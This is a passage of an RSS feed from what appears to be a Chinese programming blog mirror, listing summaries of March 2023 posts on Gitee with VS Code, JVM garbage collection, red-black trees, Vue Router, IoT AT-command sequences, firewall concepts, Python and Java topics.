      <description>一、在Gitee上新建一个仓库 Tip：若已经创建过了，直接跳到第二部分看VsCode如何上传代码到Gitee&#xA;创建仓库比较简单，下面两张图就是整个过程，这里不在赘述，具体如下：&#xA;二、VsCode连接Gitee上创建的仓库 1.打开VsCode，找到 资源管理器在 “更改”栏下选择你马上要提交到Gitee上的代码，点击 “+”号即可添加。添加后，在 “暂存的更改”栏下就是我们选择好的文件。如下图所示：&#xA;2.暂存的更改 是临时存放的你准备提交到 Gitee上的代码。如下图所示：&#xA;3.添加远程存储库，方面我们后面使用&#xA;（1）选择添加远程存储库，步骤图下图所示：&#xA;（2）提示我们输入仓库URL或选择仓库源&#xA;（3）打开我们刚才创建仓库的网页，复制HTTPS对应的URL。&#xA;（4）回到我们的 VsCode界面，按键盘 Ctrl+V 粘贴复制的 URL （5）输入对应的仓库名称，建议：与Gitee上仓库名称保持一致&#xA;（6）给自己上传的项目添加 说明，也可以不添加。&#xA;添加备注好处：&#xA;我们看到代码时可以知道 这段代码是我们什么时候放上去的、有哪些内容，就像你写笔记是一样的。看文章末尾，你可以看到添加备注后是展示在哪里。&#xA;4.发布项目到Gitee仓库上&#xA;（1）提交完成后，点击 ...菜单，选择 “推送到”，步骤如下图所示。&#xA;（2）选择你要上传的仓库，可以是预先添加好的，也可以重新添加新仓库。如下图所示：&#xA;（3）选择完成后即可准备好要上传到Gitee上的代码，具体内容如下图所示。&#xA;（4）打开Gitee界面，进入我们上传代码的仓库，可以看到代码上传成功，以及注我们刚才添加的备注信息。&#xA;5. 到这里，整个操作就完成了</description>
    </item>
    <item>
      <title>JVM垃圾回收行为的并行与并发</title>
      <link>https://bchobby.github.io/posts/dc2bc48e9e3cb4cd7b3bbeabde0354a2/</link>
      <pubDate>Fri, 31 Mar 2023 17:59:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc2bc48e9e3cb4cd7b3bbeabde0354a2/</guid>
      <description> 程序的并行和并发 程序的并发(Concurrent)&#xA;在操作系统中，是指一个时间段中有几个程序都处于己启动运行到运行完毕之间，且这几个程序都是在同一个处理器_上运行。并发不是真正意义上的“同时进行”，只是CPU把一个时间段划分成几个时间片段（时间区间），然后在这几个时间区间之间来回切换，由于CPU处理的速度非常快，只要时间间隔处理得当，即可让用户感觉是多个应用程序同时在进行。 程序的并行(Parallel) 当系统有一个以上CPU时，当一个CPU执行一个进程时，另一个CPU可以执行另一个进程，两个进程互不抢占CPU资源，可以同时进行，我们称之为并行（Parallel）。其实决定并行的因素不是CPU的数量，而是CPU的核心数量，比如一个CPU多个核也可以 并行。适合科学计算，后台处理等弱交互场景 二者对比 并发，指的是多个事情，在同一时间段内同时发生了。并行，指的是多个事情，在同一时间点上同时发生了。并发的多个任务之间是互相抢占资源的。并行的多个任务之间是不互相抢占资源的。只有在多CPU或者一个CPU多核的情况中，才会发生并行。否则，看似同时发生的事情，其实都是并发执行的。 垃圾回收的并发与并行 并发和并行，在谈论垃圾收集器的上下文语境中，它们可以解释如下：&#xA;并行（Parallel） ：指多条垃圾收集线程并行工作，但此时用户线程仍处于等待状态。&#xA;如ParNew、 Parallel Scavenge、 Parallel 0ld； 串行（Serial）&#xA;相较于并行的概念，单线程执行。如果内存不够，则程序暂停，启动JVM垃圾回收器进行垃圾回收。回收完，再启动程序的线程。 并发（Concurrent） ：指用户线程与垃圾收集线程同时执行（但不一定是并行的，可能会交替执行），垃圾回收线程在执行时不会停顿用户程序的运行。 ➢用户程序在继续运行，而垃圾收集程序线程运行于另一个CPU上；➢如： CMS、G1 </description>
    </item>
    <item>
      <title>Wise-IoU: Bounding Box Regression Loss with Dynamic Focusing Mechanism</title>
      <link>https://bchobby.github.io/posts/67b860551ba444853342df11dfb7fe8a/</link>
      <pubDate>Fri, 31 Mar 2023 11:21:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67b860551ba444853342df11dfb7fe8a/</guid>
      <description>Wise-IoU: Bounding Box Regression Loss with Dynamic Focusing Mechanism 一、引言二、实现细节三、实验 一、引言 本文通过估计锚框的离群度定义一个动态聚焦机制（FM） f(β)，β = L I o U L I o U \frac{L_{IoU}}{L_{IoU}} LIoU​LIoU​​。FM通过将小梯度增益分配到具有小β的高质量锚框，使锚框回归能够专注于普通质量的锚框。&#xA;同时，该机制将小梯度增益分配给β较大的低质量锚箱，有效削弱了低质量样例对锚框回归的危害。&#xA;作者将这种操作称之为明智的IOU(WIoU)。&#xA;二、实现细节 由于训练数据不可避免地包含低质量的例子，距离、横纵比等几何因素会加重低质量例子的惩罚，从而降低模型的泛化性能。一个好的损失函数应该在锚盒与目标盒重合良好时弱化几何因素的惩罚，训练中较少的干预会使模型获得更好的泛化能力。在此基础上构建距离注意力，得到具有两层注意机制的WIoU v1:&#xA;R W I o U ∈ [ 1 , e ) R_{WIoU}∈[1,e) RWIoU​∈[1,e)，这将显著放大普通质量锚框的 L I o U L_{IoU} LIoU​。&#xA;L I o U ∈ [ 0 , 1 ] L_{IoU}∈[0,1] LIoU​∈[0,1]，这将显著降低高质量锚框的 R W I o U R_{WIoU} RWIoU​，并在锚框与目标框重合良好时，将焦点集中在中心点之间的距离上。&#xA;其中 W g W_g Wg​, H g H_g Hg​是最小的包围框的大小。为了防止 R W I o U R_{WIoU} RWIoU​产生阻碍收敛的梯度， W g , H g W_g, H_g Wg​,Hg​从计算图中分离(上标*表示此操作)。因为它有效地消除了阻碍收敛的因素，所以没有引入诸如长宽比之类的新指标。</description>
    </item>
    <item>
      <title>国内十大人工智能网站</title>
      <link>https://bchobby.github.io/posts/5f61dacde5cc3b480ee38a8ed38ded07/</link>
      <pubDate>Fri, 31 Mar 2023 10:02:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f61dacde5cc3b480ee38a8ed38ded07/</guid>
      <description> 有人说新的一次科技革命是人工智能革命，不管你信不信，但这必然是一个趋势。自从苹果Siri面世之日起，各种关于人工智能的信息如浪潮般涌入人们视野：语音识别、机器视觉、专家系统、自然语言处理、云计算、物联网……如今各种智能概念的大量涌现，人工智能正在成为社会生产力中最先进、最活跃、最具有革命性的因素。&#xA;其实人工智能并不是一个新的概念，“人工智能”一词最初是在1956年的Dartmouth学会上提出的。此后，研究者们发展了众多理论和原理，人工智能的概念也随之扩展。人工智能企图了解智能的实质，并生产出一种新的能以人类智能相似的方式做出反应的智能机器，其研究包括机器人、语言识别、图像识别、自然语言处理和专家系统等。&#xA;今天为了帮助大家更好的理解人工智能，我们介绍国内以人工智能为课题的是个专业网站：&#xA;1、中国人工智能网&#xA;网址：http://www.chinaai.org&#xA;简介：中国人工智能网，人工智能、模式识别和数字图像处理的专业网站。内容包括：神经网络，手写体文字识别，指纹识别，语音识别，人脸识别，专家系统等。&#xA;2、人工智能实验室&#xA;网址：http://www.ailab.org&#xA;简介：人工智能实验室(AiLab)是中国目前最大最专业的人工智能网上门户，本站汇集了最全面的人工智能学科知识和学习资料，是各位人工智能爱好者学习和交流不可或缺的平台，人工智能实验室，一群梦想者的快乐家园！&#xA;3、最人工智能网&#xA;网址：http://www.mostai.com&#xA;简介：最人工智能网：你挚爱的人工智能、科学人文网站！本站是关于人工智能领域的专业网站。&#xA;4、21世纪人工智能论坛&#xA;网址：http://www.21ai.com&#xA;简介：21世纪人工智能论坛，这里是人工智能和计算机技术爱好者们自由交流的好地方。&#xA;5、中文自然语言处理开放平台&#xA;网址：http://www.nlp.org.cn&#xA;简介：中文自然语言处理开放平台是一个旨在增进中文自然语言处理领域内学术和思想交流，促进资源共享的开放式网站平台。我们热切期盼所有本领域的学术同仁和爱好者在平等、合作和交流的基础上加入“开放平台”，共同参与“开放平台”的组织和管理工作。我们相信，只有更多志同道合的人的参与，才能使我们的力量逐步发展壮大！&#xA;6、智能中国网&#xA;网址：http://www.5iai.com&#xA;简介：智能中国网(http://www.5iai.com)，目前已经成为中国最大的、访问量最高人工智能专业网站。该网站设立了创业和研发资源两个平台，为广大的俱乐部会员提供学习、资料下载、项目实践、项目交易、产品研发、在线培训、创业等服务。通过这些服务，帮助会员获取能力、提高能力、展示能力、实现人生价值。&#xA;7、中国图像网&#xA;网址：http://www.china-image.cn&#xA;简介：中国图像网，中国最具权威的机器视觉专业网站，由中国图象图形学会机器视觉专业委员会主办。关注领域：机器视觉、图像处理、人工智能、机器人、模式识别、医学图像等。&#xA;8、神经网络在线&#xA;网址：http://www.2nsoft.cn&#xA;简介：人工神经网络专业网站。&#xA;9、语音识别网&#xA;网址：http://www.yuyinshibie.com&#xA;简介：一个专业研究语音识别和开发语音识别软件的网站。&#xA;10、人工智能学会&#xA;http：//http://www.caai.cn/&#xA;简介：中国人工智能学会成立于1981年，是经国家民政部正式注册的我国智能科学技术领域唯一的国家级学会，具有独立法人资格；是中国科学技术协会的正式团体会员，具有推荐“两院院士”的资格，已申请设立《吴文俊智能科学技术奖》。学会活动的学术领域是智能科学技术，活动地域是中华人民共和国全境，基本任务是团结全国智能科学技术工作者和积极分子通过学术研究、国内外学术交流、科学普及、学术教育、科技会展、学术出版、人才推荐、学术评价、学术咨询、技术评审与奖励等活动促进我国智能科学技术的发展，为国家的经济发展、社会进步、文明提升、安全保障提供智能化的科学技术服务。&#xA;目前国产服务器主要品牌也就是浪潮、曙光、华为、超聚变、新华三、联想、风虎（科研服务器风虎信息、风虎云龙），也还有很多其他品牌，外国品牌惠普、戴尔、IBM等在国内还有不小的份额，其实核心部件大家都一样，选国产的更划算。&#xA;说明：&#xA;1、华为、超聚变已经为两家，超聚变以X86架构服务器为主，华为在走自研处理器服务器，主要为鲲鹏、昇腾系列；&#xA;2、科研服务器往往是众多应用的基础、涉及科研方向、领域较宽，特别是不同软件特征和使用环境，要求团队要有相当的专业经验，科研服务器是各类应用场景的先导和基础。&#xA;来源：国内十大人工智能网站 - 神经蛙没头脑的文章 - 知乎 https://zhuanlan.zhihu.com/p/618392113 </description>
    </item>
    <item>
      <title>谈谈你对 MyBatis 的理解</title>
      <link>https://bchobby.github.io/posts/cf8bce0545bf1e09748bc014bb59506c/</link>
      <pubDate>Fri, 31 Mar 2023 08:54:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf8bce0545bf1e09748bc014bb59506c/</guid>
      <description>1、Mybatis是一个半ORM（对象关系映射）框架，它内部封装了 JDBC，开发时只需要关注 SQL 语句本身，不需要花费精力去处理加载驱动、创建连接、创建 Statement 等繁杂的过程。程序员直接编写原生态 SQL，可以严格控制 SQL 执行性能，灵活度高。&#xA;中国的程序员对它的理解，甚至不是ORM框架，将其潜意识认为是面向sql的，其实是错误的，面向对象的大方向是恒定不变的。&#xA;2、MyBatis 可以使用 XML 或注解来配置和映射原生信息，将 POJO 映射成数据库中的记录，避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集。&#xA;3、通过 XML 文件或注解的方式将要执行的各种 Statement 配置起来，并通过 Java 对象和 Statement 中 SQL 的动态参数进行映射生成最终执行的 SQL 语句，最后由 MyBatis 框架执行 SQL并将结果映射为 Java 对象并返回。（从执行 SQL到返回 Result 的过程）。&#xA;2、MyBaits 的优缺点有哪些？&#xA;优点：&#xA;1、基于 SQL 语句编程，相当灵活，不会对应用程序或者数据库的现有设计造成任何影响，SQL 写在 XML 里，解除 SQL 与程序代码的耦合，便于统一管理；提供XML标签，支持编写动态 SQL 语句，并可重用；&#xA;2、与 JDBC 相比，减少了代码量，消除了 JDBC 大量冗余的代码，不需要手动开关连接；&#xA;3、很好的与各种数据库兼容（因为 MyBatis 使用 JDBC 来连接数据库，所以只要 JDBC 支持的数据库 MyBatis 都支持）；&#xA;4、提供映射标签，支持对象与数据库的 ORM 字段关系映射；提供对象关系映射标签，支持对象关系组件维护。</description>
    </item>
    <item>
      <title>记录Madagascar安装过程的一些问题（cpp误删）</title>
      <link>https://bchobby.github.io/posts/39b3e283a2b820a7b064f1a6cd88183a/</link>
      <pubDate>Fri, 31 Mar 2023 08:36:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39b3e283a2b820a7b064f1a6cd88183a/</guid>
      <description>分别在自己笔记本虚拟机和工位双系统上尝试安装Madagascar：&#xA;尝试在虚拟机下的Centos7安装Madagascar失败：&#xA;包括但不限于：python版本不符；pip不可用；centos下用yum无法下载依赖等等；（未能解决）&#xA;于是根据教程https://blog.csdn.net/qq_45317164/article/details/128490125，&#xA;在官网重新安装最新Ubuntu 22.04，&#xA;配置环境，安装Scons等依赖包等，折腾半天，成功安装。&#xA;过程中发现问题：&#xA;Ubuntu新版本（具体记不清楚，可在站内搜索）是纯净版，不含gcc、vim等模块（依赖）；&#xA;联网状态下，可通过sudo apt install安装；&#xA;离线状态下不推荐安装（我这小白去官网找不到，看不懂）；&#xA;Ubuntu新版本默认python3，python命令无法使用，可通过软连接激活（站内）；&#xA;虚拟机安装Madagascar成功后在工位尝试，然后就出问题了哈哈哈：&#xA;工位电脑为联想工作站，预装Windows 10和Ubuntu 21.10系统；&#xA;由于所在工位无有线网络接口，购买绿联无线网卡一枚（Windows免驱，Linux驱动下载）；&#xA;网卡驱动Linux安装需要gcc，离线Ubuntu不含gcc；&#xA;尝试笔记本有线共享网络（站内），下载gcc等，发现源有问题（上海交大源，可能是个人配置问题）；&#xA;换清华源后进行下载gcc，发现冲突（文件名为cpp，路径忘了）。在配置Madagascar环境时（忘了是pip还是numpy，应该是numpy库）同样的冲突问题，直接暴力删除冲突文件即可（站内类比，谗言勿瞎学）。于是对gcc的冲突文件cpp暴力删除，刚开始，电脑黑屏。&#xA;重启界面/dev/sda2：clean，***files，***blocks。（磁盘空间未满）&#xA;按ctrl＋alt+F1，输入用户名（一般是user，我还找了半天）密码，进入tty终端；&#xA;在淘宝上找了个外援，折腾了好几个小时，尝试接入ssh；&#xA;在sudo apt-get upgrade时提示与源有关警告和报错（换回备份源更不行哈哈哈）；&#xA;接下来sudo apt-get install openssh-server失败，无法接入ssh；&#xA;外援总结为apt出现问题，寻求老师帮助，老师让输入xstart，根据提示：&#xA;sudo apt install ***（忘了），进入可视化桌面，但鼠标和键盘未接入。&#xA;目前登录不仅有/dev/sda2...，最后一行是&#xA;【FAILED】Failed to start Network Manager Wait Online&#xA;进终端一看网也共享不了了，蛤蛤，蚌埠住辣！！！&#xA;明个老师上来看，更后续...&#xA;---------------------------------------------------------------------------------------------------------------------------------&#xA;2023.3.31日更&#xA;自己解决了，联网，先sudo install gcc；&#xA;然后sudo apt-get upgrade；&#xA;更新以后我没有去安装ssh模块， 直接重装了显卡驱动（应该是dpk包部分内容被误删了）&#xA;重装以后reboot可以进入tty终端，&#xA;下载了个鼠标键盘输入软件（站内的）；&#xA;startx进入图形界面。&#xA;仍有问题：&#xA;无法自动进入图像界面；&#xA;U盘无法自动挂载；&#xA;无设置选项等一系列选项；</description>
    </item>
    <item>
      <title>Google Earth导入经纬高（txt文件）</title>
      <link>https://bchobby.github.io/posts/a830de0f53387a30e4f2ede02042a717/</link>
      <pubDate>Fri, 31 Mar 2023 08:00:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a830de0f53387a30e4f2ede02042a717/</guid>
      <description> 目录&#xA;一、提取GNSS数据生成txt文本文件&#xA;二、Google Earth导入txt文件&#xA;1、启动Google Earth&#xA;2、打开vig_result.txt&#xA;3、数据导入向导配置&#xA;3.1 指定分隔符&#xA;3.2 选择维度/经度字段&#xA;3.3 指定字段类型&#xA;3.4 导入数据、选择数据、显示轨迹&#xA;一、提取GNSS数据生成txt文本文件 格式如下：&#xA;二、Google Earth导入txt文件 1、启动Google Earth 2、打开vig_result.txt 【文件】–&amp;gt; 【打开】–&amp;gt;选择 vig_result.txt&#xA;3、数据导入向导配置 3.1 指定分隔符 【已限定】–&amp;gt;【空格】–&amp;gt;【下一步】&#xA;3.2 选择维度/经度字段 选择对应的 经纬度信息；注意：字段要与vig_result.txt数据格式相对应&#xA;3.3 指定字段类型 可采用默认选项，然后点击 完成&#xA;3.4 导入数据、选择数据、显示轨迹 </description>
    </item>
    <item>
      <title>二叉搜索树：红黑树的原理和实现</title>
      <link>https://bchobby.github.io/posts/53c25df09855aacf66b8289eb50cbf74/</link>
      <pubDate>Thu, 30 Mar 2023 21:06:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53c25df09855aacf66b8289eb50cbf74/</guid>
      <description>目录 前言1. 红黑树的概念2. 红黑树的性质3. 红黑树的定义4. 红黑树的插入操作5. 红黑树的验证6. 红黑树和AVL树的比较7. 红黑树的应用 前言 💭上文我们在遇到问题：二叉搜索树退化到单支导致效率和性能降低时，利用了AVL树解决。但是由于AVL树是一棵绝对平衡的树，每次修改树结构都要保证左右子树高度差的绝对值不超过1，这可能会引发多次旋转。因此，若我们要设计出一棵结构动态变化的二叉搜索树，利用AVL树的效率并不高。基于这个原因，红黑树诞生了。&#xA;1. 红黑树的概念 🔴⚫&#xA;红黑树（RBTree）是一种二叉搜索树，在每个节点设置一个存储域用于指明该节点的颜色 （Red或Black），进而，通过限制任一条从根到叶子节点的路径上的各个节点的着色方式，使得任一条路径的长度都不超过另一条路径，最终达到接近平衡的树结构。&#xA;📃红黑树结构示意图：&#xA;其中，NIL为空节点&#xA;2. 红黑树的性质 每一棵红黑树，都满足以下五条性质：&#xA;每个节点不是黑色就是红色根节点为黑对于每个节点，从该节点到其所有后代叶节点的简单路径上，均包含相同数目的黑色节点不允许有相邻的两个红色节点每个叶节点都为黑（此处的叶节点指NIL节点） 💡这五条性质，保证了红黑树最长路径长度不超过最短路径长度的二倍。&#xA;为何要引进 NIL 节点？ 保证任意节点都有两个分叉，这样才能使得红黑树接近平衡。不这样做的话，若直接以平时的叶子节点作叶节点，极端情况下，下面这棵树同样满足红黑树的性质，但是其已经退化成链表了，查找效率为O(N)。&#xA;如何保证最长路径长度不超过最短路径的二倍? 如图所示，我们以8为根节点的红黑树为例（只关注左右两条路径，假设左路径是最短路径，右路径是最长路径，图中三角形是一些能保证整棵树为红黑树的不同情况的子树）&#xA;由性质3可得，最短路径中的黑节点必须与最长路径中的黑节点数量相同，又由性质4，最终可得最短路径节点全为黑，且与最长路径中黑节点数量相同。而最长路径中，在与最短路径拥有相同数量黑节点的前提下，穿插了红色节点，使之长度最长的方法是每个黑节点都带一个红节点。这样一来，最长路径的长度就是最短路径的二倍，此时最长路径最后一个节点为红，插入红色节点违反性质4，插入黑色节点违反性质3，因此最长路径长度不超过最短路径长度的二倍。如图中，左边路径长度为3（最短），右边路径长度为6（最长）。&#xA;3. 红黑树的定义 // 枚举：红和黑 enum COLOR { RED, BLACK, }; // RBTree的节点 template &amp;lt;class V&amp;gt; struct RBTreeNode { typedef RBTreeNode&amp;lt;V&amp;gt; Self; V _v; // 数据域 Self* _left; Self* _right; Self* _parent; COLOR _col; // 颜色域 RBTreeNode(const V&amp;amp; v) :_v(v) , _left(nullptr) , _right(nullptr) , _parent(nullptr) , _col(RED) {} }; // RBTree的大致结构 template &amp;lt;class V&amp;gt; class RBTree { typedef RBTreeNode&amp;lt;V&amp;gt; node; public: RBTree() :_root(nullptr) {} private: node* _root; }; 4.</description>
    </item>
    <item>
      <title>【Vue学习笔记】路由详解</title>
      <link>https://bchobby.github.io/posts/b6bf34835e80fe1762cd10b823c5565b/</link>
      <pubDate>Thu, 30 Mar 2023 19:49:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6bf34835e80fe1762cd10b823c5565b/</guid>
      <description>@TOC&#xA;一、什么是路由？ 在Vue中，路由是指通过URL路径来管理不同页面之间的交互跳转和状态切换的机制。Vue Router是Vue.js官方提供的路由管理器，可以用于构建单页应用（SPA）。&#xA;通过Vue Router，开发者可以定义多个路由规则，每个规则对应一个路径，访问该路径时就会渲染对应的组件。同时，Vue Router还支持动态路由、嵌套路由、命名路由、路由传参等功能，方便开发者根据实际需求进行配置和使用。&#xA;在Vue中使用路由需要先安装Vue Router，并在Vue实例中注册路由器。然后，就可以使用&amp;lt;router-link&amp;gt;组件创建链接，以及使用&amp;lt;router-view&amp;gt;组件显示当前路由匹配到的组件。&#xA;二、创建路由 在Vue中创建路由需要使用Vue Router，以下是创建路由的基本步骤：&#xA;安装Vue Router：&#xA;npm install vue-router&#xA;在main.js中导入Vue Router并注册：&#xA;import Vue from &#39;vue&#39; import VueRouter from &#39;vue-router&#39; import App from &#39;./App.vue&#39; Vue.use(VueRouter) const router = new VueRouter({ routes: [ { path: &#39;/home&#39;, component: Home }, { path: &#39;/about&#39;, component: About } ] }) new Vue({ router, render: h =&amp;gt; h(App), }).$mount(&#39;#app&#39;) 在组件中使用&amp;lt;router-link&amp;gt;和&amp;lt;router-view&amp;gt;：&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;router-link to=&#34;/home&#34;&amp;gt;Home&amp;lt;/router-link&amp;gt; &amp;lt;router-link to=&#34;/about&#34;&amp;gt;About&amp;lt;/router-link&amp;gt; &amp;lt;router-view&amp;gt;&amp;lt;/router-view&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; 其中，routes属性定义了一个包含多个路由规则的数组。每个路由规则都包含两个属性：path表示路径，component表示对应的组件。</description>
    </item>
    <item>
      <title>IoT模组使用笔记（二）：EC21、EC200指令流程、设置休眠、升级模组、切换运营商等</title>
      <link>https://bchobby.github.io/posts/5f083c4f76723e90b424c2c7aee5cdaa/</link>
      <pubDate>Thu, 30 Mar 2023 18:58:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f083c4f76723e90b424c2c7aee5cdaa/</guid>
      <description>五、EC20、BC20等模组指令和问题 5.1 EC205.1.1 注册网络失败。5.1.2 TCP连接指令流程： 5.2 BC205.2.1 上电指令流程 5.3 EC21-KL5.3.1 休眠异常5.3.2 模组软件升级 5.4 EC200N-CN和EC200S-EU5.4.1 设置模组休眠5.4.2 ping谷歌5.4.3 手动切换运营商5.4.3.1 运营商代码 - IMSI和QSPN5.4.3.2 为什么要切换运营商 5.4.4 抓取TCP的log 5.1 EC20和5.2 BC20是最开始接触4G模组的使用记录，参考意义不是很大。后来新工作转做Iot，开始慢慢扩充这篇笔记。&#xA;5.1 EC20 5.1.1 注册网络失败。 如下图所示：&#xA;将APN修改为SIM卡对应的运行商，多次发送AT+QICSGP=1,1,“CTNET”,“”,“”,0指令，然后复位开发板即可。如下图所示：&#xA;5.1.2 TCP连接指令流程： EC20模块AT命令讲解&#xA;EC20 TCP/IP指令例程&#xA;移远M26，三分钟打通TCP流程，AT指令详解&#xA;在linux端操作：&#xA;移远EC20 4G模块Linux驱动移植和测试&#xA;5.2 BC20 5.2.1 上电指令流程 AT\r\n AT+QSCLK=0\r\n&#x9;;禁用休眠模式 AT+CPIN?\r\n&#x9;;检查是否需要密码 AT+CFUN=0\r\n&#x9;;设置为最小功能 AT+QBAND=0\r\n&#x9;;设置为所有工作频段 AT+QCSEARFCN\r\n;清除 NB-IoT 存储的 EARFCN 列表 AT+CFUN=1\r\n&#x9;;设置为全功能 AT+CGATT=1\r\n&#x9;;附着网络，要多等一会 AT+CSQ\r\n&#x9;;上报信号质量 AT+CEREG?\r\n&#x9;;查询网络注册状态 AT+CGATT?\r\n&#x9;;查询 AT+CGPADDR?</description>
    </item>
    <item>
      <title>第一周作业：简单实现页面的跳转---点击按钮实现跳转</title>
      <link>https://bchobby.github.io/posts/f3637aa5e9d4f9f0d010d0ea91704436/</link>
      <pubDate>Thu, 30 Mar 2023 18:57:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3637aa5e9d4f9f0d010d0ea91704436/</guid>
      <description>代码：&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;manifest xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; xmlns:tools=&#34;http://schemas.android.com/tools&#34;&amp;gt; &amp;lt;application android:allowBackup=&#34;true&#34; android:dataExtractionRules=&#34;@xml/data_extraction_rules&#34; android:fullBackupContent=&#34;@xml/backup_rules&#34; android:icon=&#34;@mipmap/ic_launcher&#34; android:label=&#34;@string/app_name&#34; android:roundIcon=&#34;@mipmap/ic_launcher_round&#34; android:supportsRtl=&#34;true&#34; android:theme=&#34;@style/Theme.Home1&#34; tools:targetApi=&#34;31&#34;&amp;gt; &amp;lt;activity android:name=&#34;.MainActivity&#34; android:exported=&#34;true&#34;&amp;gt; &amp;lt;intent-filter&amp;gt; &amp;lt;action android:name=&#34;android.intent.action.MAIN&#34;&amp;gt;&amp;lt;/action&amp;gt; &amp;lt;category android:name=&#34;android.intent.category.LAUNCHER&#34;&amp;gt;&amp;lt;/category&amp;gt; &amp;lt;/intent-filter&amp;gt; &amp;lt;/activity&amp;gt; &amp;lt;activity android:name=&#34;.SecondActivity&#34;&amp;gt; &amp;lt;/activity&amp;gt; &amp;lt;/application&amp;gt; &amp;lt;/manifest&amp;gt; &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;androidx.constraintlayout.widget.ConstraintLayout xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; xmlns:app=&#34;http://schemas.android.com/apk/res-auto&#34; xmlns:tools=&#34;http://schemas.android.com/tools&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;match_parent&#34; tools:context=&#34;.MainActivity&#34;&amp;gt; &amp;lt;TextView android:layout_width=&#34;wrap_content&#34; android:layout_height=&#34;wrap_content&#34; android:text=&#34;第一个页面&#34; android:textSize=&#34;20sp&#34; app:layout_constraintBottom_toBottomOf=&#34;parent&#34; app:layout_constraintEnd_toEndOf=&#34;parent&#34; app:layout_constraintStart_toStartOf=&#34;parent&#34; app:layout_constraintTop_toTopOf=&#34;parent&#34; /&amp;gt; &amp;lt;Button android:layout_width=&#34;wrap_content&#34; android:layout_height=&#34;wrap_content&#34; android:text=&#34;跳转到第二个页面&#34; android:onClick=&#34;jump&#34; tools:ignore=&#34;MissingConstraints&#34; /&amp;gt; &amp;lt;/androidx.constraintlayout.widget.ConstraintLayout&amp;gt; activity_second:&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;LinearLayout xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;match_parent&#34;&amp;gt; &amp;lt;TextView android:layout_width=&#34;</description>
    </item>
    <item>
      <title>网络安全之防火墙</title>
      <link>https://bchobby.github.io/posts/9dea45dd0f9a2cea0467757aa448a44e/</link>
      <pubDate>Thu, 30 Mar 2023 18:46:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9dea45dd0f9a2cea0467757aa448a44e/</guid>
      <description>目录&#xA;网络安全之防火墙&#xA;路由交换终归结底是联通新设备&#xA;防御对象：&#xA;定义：&#xA;防火墙的区域划分：&#xA;包过滤防火墙 --- 访问控制列表技术 --- 三层技术&#xA;代理防火墙 --- 中间人技术 --- 应用层&#xA;状态防火墙 --- 会话追踪技术 --- 三层、四层&#xA;UTM --- 深度包检查技术 --- 应用层&#xA;下一代防火墙&#xA;防火墙的区域&#xA;防火墙的安全区域&#xA;安全区域的优先级的作用&#xA;防火墙策略配置&#xA;定义与原理&#xA;防火墙策略配置&#xA;安全策略工作流程&#xA;查询和创建会话&#xA;ASPF技术&#xA;server-map表&#xA;STUN类型协议与server-map表&#xA;端口识别&#xA;NAT ALG&#xA;NAT域间双向转换&#xA;NAT域内双向转换&#xA;双出口NAT&#xA;防火墙的接口模式&#xA;路由模式&#xA;交换模式&#xA;接口对模式&#xA;旁路模式&#xA;防火墙的高可靠技术&#xA;VRRP&#xA;VGMP&#xA;VGMP的基本原理&#xA;VGMP状态机&#xA;VGMP状态切换&#xA;HPR协议&#xA;HPR的产生&#xA;HRP数据备份范围&#xA;在防火墙双机热备组网中必须首先解决的问题&#xA;双机热备组网的建立和运行需要解决以下5个关键问题&#xA;网络安全之防火墙 路由交换终归结底是联通新设备 网络在远古时期没有防火墙大家都是联通的，any to any&#xA;防御对象： 授权用戶非授权用戶 定义： 防火墙是一种隔离（非授权用户在区域间）并过滤（对保护网络有害流量或数据包）的设备</description>
    </item>
    <item>
      <title>anaconda安装后无法使用numpy</title>
      <link>https://bchobby.github.io/posts/452eb602603f910d13d0617d43046ae8/</link>
      <pubDate>Thu, 30 Mar 2023 18:32:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/452eb602603f910d13d0617d43046ae8/</guid>
      <description>无法使用的原因：&#xA;anaconda自带的numpy包与其他包或者python版本存在不兼容问题。&#xA;解决方法：&#xA;1.在开始菜单中，右键Anaconda Prompt(Anaconda3)，选择管理员模式打开。&#xA;2.在命令行内输入：conda update --all，回车确定。&#xA;3.如果连接不了服务器可以修改为镜像网站，然后输入y确定即可。</description>
    </item>
    <item>
      <title>Local快速上手</title>
      <link>https://bchobby.github.io/posts/81b487aa6dddebd5b85eb2258e644c4a/</link>
      <pubDate>Thu, 30 Mar 2023 17:46:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81b487aa6dddebd5b85eb2258e644c4a/</guid>
      <description>java中Local时间类型的使用&#xA;简单说说 localdateTime是JDK1.8中新加的API,他拥有线程安全等等好处！！！&#xA;基本Api的使用 System.out.println(&#34;-----------时间日期类型----------------------&#34;); LocalDateTime now = LocalDateTime.now(); log.info(&#34;现在:{}&#34;,now); log.info(&#34;现在时间5分钟后:{}&#34;,now.plusMinutes(10)); log.info(&#34;现在时间5分钟前:{}&#34;,now.minusMinutes(10)); System.out.println(&#34;-----------日期类型----------------------&#34;); LocalDate date = LocalDate.now(); log.info(&#34;现在日期：{}&#34;,date); log.info(&#34;现在日期+1day：{}&#34;,date.plusDays(1)); System.out.println(&#34;-------------时间类型---------------------&#34;); LocalTime time = LocalTime.now(); log.info(&#34;现在时间:{}&#34;,time); 